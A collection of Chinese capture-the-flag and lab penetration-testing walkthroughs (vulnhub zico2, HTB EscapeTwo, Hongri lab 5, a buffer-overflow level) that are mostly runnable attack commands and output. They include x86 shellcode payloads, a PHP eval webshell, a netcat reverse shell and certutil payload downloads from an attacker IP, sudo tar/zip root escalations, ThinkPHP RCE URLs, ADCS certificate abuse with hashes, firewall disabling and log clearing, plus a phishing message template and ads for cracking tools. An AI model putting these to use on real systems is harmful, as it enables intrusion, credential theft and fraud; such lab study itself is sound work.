搜索关键字获取shellcode，x86 - exeCVEhttps://shell-storm.org/shellcode/index.htmlexeCVE：表示可执行文件的意思然后我们需要的是shellcode，所以关键字就是，exeCVE、x86、shellcode，就能定位到这个，中间的哪个表示需要执行的命令也就是获取一个shell这下就能组成一个payload了./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"') ./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式栈随机化指运行时栈的起始地址为随机的，所以我们存放shellcode的esp的地址也会发生对应的改变在shellcode前注入很长的 nop（x90） 指令 （无操作，仅使程序计数器加一）序列，程序计数器逐步加一，直到到达攻击代码的存在的地址提权成功另外这个esp起始地址一定是要固定不变的吗？我们把他修改为返回后的esp地址也就是0xbffffb50，之前是0xbffffb80，上python代码（这个脚本可以保存好，经常要用）address = 0xbffffb80 byte_sequence = address.to_bytes(4, byteorder='little') hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence) print(hex_representation) # x50xfbxffxbf而我修改了这个nop sled数量为400个，照样也是可以提权的./r00t $(python -c 'print "A"*偏移量 + "esp其他地址" + "nop sled"*400 + "shellcode"') ./r00t $(python -c 'print "A"*268 + "x50xfbxffxbf" + "x90"*400 + "xbax19xb3xb8x79xdbxdexd9x74x24xf4x5dx29xc9xb1x0bx31x55x15x83xedxfcx03x55x11xe2xecxd9xb3x21x97x4cxa2xb9x8ax13xa3xddxbcxfcxc0x49x3cx6bx08xe8x55x05xdfx0fxf7x31xd7xcfxf7xc1xc7xadx9exafx38x41x08x30x10xf6x41xd1x53x78"')这个案例就证明只要nop sled枚举的地址足够多，成功几率还是很大的，接下来是level 3level 3主机发现，直接连接就行了，start:heresuid常规信息收集sudo0777文件：表示一个文件或目录完全开放，任何用户都可以读取、修改和执行它。find / -type f -perm 0777 2>/dev/null这里有一个cap文件（可以用wireshark工具打开），这不是常规的数据包，802.11跟无线协议的关系很大这像是一个字典把他用上这里要用到一个工具 AIrcrack-ng，AIrcrack-ng ：是一个用于无线网络安全审计的开源工具套件，专门用于评估和测试 Wi-Fi 网络的安全性。它广泛用于网络安全研究、渗透测试和网络监控。该工具套件包括一系列功能强大的工具，可以帮助用户捕获流量、破解 WEP 和 WPA/WPA2 密码、以及进行网络攻击等。爆破密码试试Tips：有Wi-Fi网络的握手数据包，就可以在离线情况下进行密码破解，无需与你的设备直接连接该网络。AIrcrack-ng -w gold_star.txt wytshadow.cap有了文件名称和密码gaUoCe34t1，去看看有没有这个用户wytshadow密码正确继续信息收集，可以看到有一个nginx的服务文件可以用sudo -l启动这个nginx查看默认的配置信息，监听的是8080端口查看端口信息curl用不了那么就用本机访问这里要用到一个工具，lynx，默认kali是没有的lynx：是一个文本模式的网页浏览器sudo apt-get install lynx此时我们就得到了一组数据genphlux:HF9nd0cR!，那么久查看一下是否有这个用户之前那个是nginx，现在是apache文件了查看默认开启的端口（apache的启动端口）查看是否启动成功80开启成功了，但是没有任何信息，只有一个403此时可以返回去看配置文件，有一个allow from 127.0.0.1查看是否存在curl和wget，来访问本地的服务（127.0.0.1）fido:x4tPl!，但是呢鉴权失败了回家的路上，看到了两个文件，一个ssh私匙这里搜集了半天，找到一个viminfo中有一个密码信息 B^slc8I$尝试sudosudo成功了，再看看权限，可以读写！还可以sudo写一个c文件init mAIn() { system('/bin/bash'); }这里出现一个编译错误，说我们使用了一个隐式的函数system，需要我们加上一个参数gcc -o dont_even_bother test.c -Wno-implicit-function-declaration总结level 1主要使用的是ftp匿名登录，和低版本操作系统的内核提权level 2 通过页面上的图片信息，使用strings查看图片信息，有一个信息泄露，得到zip密码信息后，使用fcrackzip对压缩包文件进行一个暴力破解，命令如下fcrackzip -D -p pass.txt -u lmao.zip然后就是Bashdoor（bash之门漏洞），命令如下ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191 -t "() { :;}; /bin/bash"最后就是缓冲区溢出漏洞，如何判断？看函数信息就可以了，需要一个调试工具gdb，还有msf的一个接口，常用命令gdb filename # 进入该文件的调试 disas main # 显示main函数的汇编代码 run # 运行当前文件，可简写 r # msf接口 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024 # 表示生成1024个字符 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [缓冲区溢出的位置，例如(0x6a413969)] -l 1024 # 反查这个溢出的位置的偏移量一个有用的python脚本，将 0xbffffb80 起始的esp地址转化为十六进制字节序列的形式address = 0xbffffb80 byte_sequence = address.to_bytes(4, byteorder='little') hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence) print(hex_representation) # x80xfbxffxbf一个有用的shellcode获取地https://shell-storm.org/shellcode/index.htmllevel 3 首先就是内网的信息收集，sudo开启nginx，然后使用lynx工具，获取网页信息，得到下一个用户的信息，第二个信息是apache的80端口，但是同样的方法，不会让你用第二次，切换到当前用户根目录，获取到ssh密匙文件，ssh登录即可，登录之后，信息收集需要完善，从viminfo找到密码信息，这个时候就能sudo了，利用可以sudo的文件权限信息，进行提权即可，感谢观看！广告时间如果你喜欢水报告，这里有1000多份的src报告，供你学习思路如果你想要一些源码，这里将有上百套的源码，供你魔改开发属于你自己的软件如果你需要ppt，那么这里几千份ppt模板，供你选择，搭配上GPT，轻松搞定你的每月汇总如果你想要做副业，那么这里有几百个网赚项目，让你利用流量变现，每个月可以多几条烟钱（我不抽烟），每年也可以小赚1w+如果你想要各种破解工具，辱羊毛，不想开会员，那么这里是你最好的选择，还有很多的实用小工具还有各种的学习资料，包括且不限于渗透测试，python/c++编程，免杀，AI人工智障，逆向，安全开发等互联网资源（如果进了帮会需要百度网盘还请联系我）如果你想要兼职，那么泷羽Sec提供了一个很好的兼职机会，您邀请一个人进入泷羽Sec帮会，凡是进入本帮会，嘉宾享72%的帮会推广收益，也就是【一次性付费金额0.72】，普通成员享受推广收益的40%也就是【一次性付费金额0.40】泷羽Sec资料库，现一次性付费99，即可永久进入，加入泷羽Sec帮会，享受各种IT资源，资源持续更新中感谢支持！往期推荐30款burp插件，一键搞定99%的渗透工具！HTB-Chemistry靶机渗透教程【渗透测试】Linux隐身登录【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏2024Goby红队版工具分享，附2024年漏洞POC下载
【OSCP】tar、zip命令提权—zico2本次靶机为zico2，OSCP类型的主要利用的是tar命令和zip命令的提权下载链接：https://download.vulnhub.com/zico/zico2.ova主机发现 && 80探测nmap全端口扫描dirb目录扫描标题包含的版本信息漏洞检索，此版本有一个远程命令执行漏洞查看内容根据提示来输入admin密码后，进入后台编写一个poc.php记好了这个“数据库”（一句话木马的php文件）的绝对路径 /usr/databases/poc.php填写名称和字段数写好我们的payload <?php @eval($_POST[cmd])?>看到提示说明我们创建成功了github上是让我们复制一个文件到根目录就可以了，但是我们没有命令执行继续信息收集，一句话木马已经上传成功了点着点着也就发现这个可能存在漏洞点这个，不就是文件包含嘛，试试普通的文件包含，利用成功有了文件包含，还有我们的脚本文件的路径，那么就有思路了，包含我们的“数据库”/usr/databases/poc.phpkali开启监听，准备反弹shell反弹shell（其他的都不行）rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f成功创建交互式终端python -c "import pty; pty.spawn('/bin/bash');"内网信息收集，低版本的ubuntu系统，首先想到的就是内核提权漏洞检索提权失败继续信息收集joomla内容管理系统的配置文件中，FBVtggIk5lAzEU9H，利用su切换zico用户，失败wordpress内容管理系统的配置文件，切换用户成功有了密码，就可以利用sudo了，可以看到这个用户是可以利用sudo进行提权的，要用到tar命令或者zip找找suid文件那么就利用tar命令提权了 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shzip+sudo提权TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #'往期推荐【OSCP】靶机-election【OSCP】sudo的上级目录提权，靶机SkyTower【OSCP】稀有靶机-Readme【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！
HTB：EscapeTwo已有信息为rose/KxEPkKe6R8su我们使用nmap进行端口扫描nmap -sT -p- -T5 -A -Pn 10.10.11.51Tips：如果发现端口扫描的慢的话，要用代理比如小猫，kali代理到小猫的那个端口，修改proxychAIns的配置文件 /etc/proxychAIns4.conf 然后 proxychAIns openvpn lab_xxxxx.ovpn 挂到后台就行修改hostsecho "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts尝试一个基本的SMB枚举（已知信息），看看是否能登录成功┌──(root㉿kali)-[/data/demo] └─# crackmapexec SMB sequel.htb -u rose -p KxEPkKe6R8su --computers SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domAIn:sequel.htb) (signing:True) (SMBv1:False) SMB sequel.htb 445 DC01 [+] sequel.htbrose:KxEPkKe6R8su SMB sequel.htb 445 DC01 [+] Enumerated domAIn computer(s) SMB sequel.htb 445 DC01 sequel.htbDC01$枚举SMB服务器共享信息SMBmap -u 'rose' -p 'KxEPkKe6R8su' -H 10.10.11.51使用SMBclient登录┌──(root㉿kali)-[/data/demo] └─# smbclient //sequel.htb/Users -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . DR 0 Sun Jun 9 09:42:11 2024 .. DR 0 Sun Jun 9 09:42:11 2024 Default DHR 0 Sun Jun 9 07:17:29 2024 desktop.ini AHS 174 Sat Sep 15 03:16:48 2018 6367231 blocks of size 4096. 880750 blocks avAIlable smb: > ┌──(root㉿kali)-[~] └─# smbclient //sequel.htb/'Accounting Department' -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024 6367231 blocks of size 4096. 871029 blocks avAIlable smb: >参数解释smbclient : 这是一个用于与SMB/CIFS（Common Internet File System）服务器进行交互的命令行工具。它可以用来浏览共享资源、上传/下载文件等操作。//sequel.htb/Users : // 这是目标SMB共享的起始路径，sequel.htb是目标主机的域名或IP地址，Users 是共享资源的名称，通常表示存储用户文件的共享文件夹。-U sequel.htb\rose : -U参数用于指定连接时使用的用户名，sequel.htb工作组/域，rose具体的用户名执行该命令后，系统通常会提示输入 rose 用户的密码。输入正确的密码后，用户将能够访问 Users 共享中的文件和目录，类似于在文件资源管理器中访问网络共享。我们登录到Accounting Department这个smb服务器的时候发现了两个xlsx表格文件，我们尝试将这个文件下载下来我们使用get命令下载这两个文件此时得到了密码信息angela/0fwz7Q4mSpurIt99 oscar/86LxLBMgEWaKUnBG kevin/Md9Wlq1E5bZnVDVo sa/MSSQLP@ssw0rd!有一个sa账户，像是mssql的用户名和密码，并且1433端口也是开启的（待会会用上）我们将上面的密码保存到一个txt文件中，枚举域内用户echo '0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!' > pass.txt netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users将用户名保存到user.txtAdministrator Guest krbtgt michael ryan oscar sql_svc rose ca_svc此时你的目录下面有这四个文件┌──(root㉿kali)-[/data/demo] └─# ls accounting_2024.xlsx accounts.xlsx pass.txt user.txt就接下来使用密码喷洒得到账号密码信息oscar 86LxLBMgEWaKUnBG通过 WinRM（Windows Remote Management）协议对目标主机 10.10.11.51 进行身份验证nxc winrm 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'利用mssql执行系统命令netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'利用dir进行目录遍历，发现一个sql2019，应该是mssql的目录netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:/'继续遍历netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'发现一个sql-Configuration.INI文件netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'查看文件内容netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type c:SQL2019ExpressAdv_ENUsql-Configuration.INI'发现两个东西SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSVCACCOUNT="SEQUELsql_svc"参数介绍SQLSVCACCOUNT表示 SQL Server 服务将在一个名为 sql_svc 的域账户下运行。SQLSVCPASSWORD 是 SQLSVCACCOUNT 账户的密码再次进行密码喷洒 netexec mssql 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出两个凭证，测试哪个能利用winrm进行登录netexec winrm 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出一个结果ryan用户能使用远程登录evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'切换到ryan的桌面，找到第一个flag提权域内信息收集使用netexec枚举靶机域内信息netexec ldap 10.10.11.51 -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c Allbloodhound用于分析和可视化域内的用户、组、计算机、权限关系等数据，帮助安全研究人员或攻击者快速发现攻击路径和权限提升机会。下载由图标可见，ryan用户对ca_svc用户具有WriteOwner权限查看ca_svc用户信息net user ca_svc /domAIn由输出可见，该用户属于Cert Publishers组使用bloodyAD将ca_syc用户拥有者修改为ryan用户┌──(root㉿kali)-[/data/Windows_atk/script] └─# bloodyAD -d sequel.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc使用 ryan 的凭据将 AD 对象 ca_svc 的所有者权限转移给 ryan，是典型的权限提升或后渗透操作。成功执行后，攻击者可完全控制 ca_svc 账户，进一步渗透域环境。这里如果失败的话呢，需要重置一下机器，因为可能是别人打过的┌──(root㉿kali)-[/data/Windows_atk/script] └─# python dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20250309-193835.bak [*] DACL modified successfully!将本地时钟与靶机同步sudo ntpdate 10.10.11.51使用certipy-ad创建ca_svc用户影子证书，获得该用户NTLM密码哈希certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target sequel.htb -dc-ip 10.10.11.51 -ns 10.10.11.51账号：ca_svc密码hash：3b181b914e7a9d5508ea1e20bc2b7fcegit clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git cd .Ghostpack-CompiledBinaries upload Certify.exe .Certify.exe find /domAIn:sequel.htb由输出可见，该模板对DomAIn Admins具有注册权利，而且Cert Publishers对该模板具有完全控制权限，因此恶意利用该模板即可获取管理员密码哈希使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞┌──(root㉿kali)-[/data/Windows_atk/script] └─# certipy-ad find -u ca_svc@10.10.11.51 -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP [*] Got CA configuration for 'sequel-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTBAdministrators Access Rights ManageCertificates : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins ManageCa : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Enroll : SEQUEL.HTBAuthenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireCommonName SubjectAltRequireDns Enrollment Flag : AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Object Control Permissions Owner : SEQUEL.HTBEnterprise Admins Full Control Principals : SEQUEL.HTBCert Publishers Write Owner Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Dacl Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Property Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers [!] Vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions由末尾输出可见，利用该模板可导致ESC4漏洞攻击certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug使用certipy-ad请求一份Administrator用户符合模板要求的证书certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51使用certipy-ad借助pfx证书通过身份认证，使用impacket-psexec通过上述哈希凭证登录靶机certipy-ad auth -pfx administrator_10.pfx impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'C:UsersAdministratorDesktop 找到root.txt文件C:UsersAdministratorDesktop> type root.txt 6ca10bc95839bb3243539e3d7ea4f362至此，靶机渗透结束往期推荐红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎！媲美DeepSeek，附源码【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细
红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路
红日5简介"红日5"是一个高度仿真的内网渗透实战靶场，模拟了企业级内外网混合环境。靶场包含外网Web服务器（Windows 7）、内网域控服务器（Windows Server 2008）双重网络隔离场景，涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场，学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法，并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问，如果懒得一个一个转存可以直接拿我的，一共500G左右，下载还请预留好一定的空间通过网盘分享的文件：红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2，138网段，然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个，外网主机win7，设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码：123.comsunAdministrator 密码：dc123.com2008（登录成功后要修改密码）sunadmin 密码：2020.com最重要的，需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程，mysql远程测试，拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点，可以看到这是一个thinkphp框架随便访问一个不存在的页面，发现指纹信息，5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP，执行命令whoami，成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell，不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP，发现内网网段ipconfig利用arp进行主机探测，发现域控主机192.168.138.138arp -a开始代理reGeorg，详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页，发现直接报错，可能不适用Windows了那么切换frp，查看一下配置文件，注意这里是Windows的frp，我用的版本是0.39.1，去github翻一翻历史版本的，新版本可能会出问题上传到靶机上面去，有两个文件，一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychAIns4.conf使用proxychAIns打开MSF，利用永恒之蓝漏洞，打域控靶机，这里失败了proxychAIns MSFconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集（连接某些未开放端口的时候可能会显示超时，这是正常现象，继续等待即可）use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用MSF也可以使用nmapproxychAIns nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户，这下我们就需要提权了，只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块，不用MSF的话也可以上传nc反弹shell# kali MSFvenom -p Windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入MSFuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload Windows/x64/meterpreter/reverse_tcp run尝试使用MSF的getsystem进行提权创建一个监听器，用于上线靶机（同理可以用nc来上线）我们生成一个可以上线CS的exe程序生成到d盘中，并传到kali中scp .beacon.exe kali@192.168.135.128:/data/Windows_atk并使用MSF的upload上传此文件upload /data/Windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后，就可以开始提权了尝试了各种操作后，都普通用户提权失败那么能怎么办呢——域内爆破，网上很多教程都是直接登录的administrator用户，直接用CS提权成功（上线的时候就是administartor），并没有完整的复现出来从一个最普通的用户上升到系统权限的教程，就很水信息收集，域内用户，由于当前用户是普通用户，普通用户无法直接获取域内的用户列表shell net view换思路，域内不行，那就本机用户，可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧？我们可以利用MSF的kerberos_enumusers爆破 Kerberos 服务（88 端口，前面端口扫描的时候扫出来）proxychAIns MSFconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意：如果不用CS那么可以利用 hydra 进行爆破proxychAIns hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败，那么就切换到域控服务器需要让我们输入密码，但是msf上线的不是交互式shell连接并查看域控，也失败使用PsExec模块攻击域控，失败！proxychAIns msfconsole msf6 > use exploit/Windows/SMB/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomAIn sun.com msf6 > set PAYLOAD Windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行，最终以失败告终，无法登录到域控服务器/切换本地用户，或者本地提升到Administrator用户。那么就剩下最后的办法了，社工！(诈骗案例分析，请勿用于违法用途，所造成的后果自行承担)最近张伟管理员发了一条微博：”周末加班部署新防火墙，累成狗🐶”，并且利用一定手段获取到了手机号。【xxx科技IT部】紧急：OA系统漏洞需立即处理，请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末，管理员成功登录了系统，启动了phpstudy这个web服务，此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domAIn使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务，提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ，添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线，而且还是最高权限，拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件，并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的，我们重新输入账号密码，登录到域sum.com成功拿下域控服务器！最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞（ /index/thinkapp/invokefunction ）上传混淆Webshell（Weevely）实现持久化控制内网渗透发现双网卡结构（NAT+Host-Only）及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控（192.168.138.138）暴露445端口权限提升MSF生成载荷上线失败后，通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证（Administrator:dc123.com）横向移动IPC$共享+计划任务（net use + at）投递Beacon载荷绕过防火墙放行端口（netsh advfirewall）通过RDP（注册表修改fDenyTSConnections）接管域控桌面权限维持域控主机部署多协议后门（MSF+CS双链路）清理日志（clearev）隐藏攻击痕迹关键技术点漏洞利用：ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建：Frp代理穿透双网络隔离环境权限提升：CS的svc-exe提权与Windows服务劫持横向移动：基于SMB的载荷投递与计划任务执行域渗透：Pass-the-Hash攻击与黄金票据伪造（需扩展场景）防御启示外网防护：及时更新框架补丁，禁用危险函数（如 system ）权限控制：遵循最小权限原则，限制数据库远程访问网络隔离：严格ACL策略，阻断异常出站流量（如Socks隧道）日志审计：监控计划任务创建、注册表关键项修改等可疑行为域安全：启用LAPS管理本地管理员密码，限制域管登录范围报告编制方：泷羽Sec安全团队日期：2025年2月21日往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
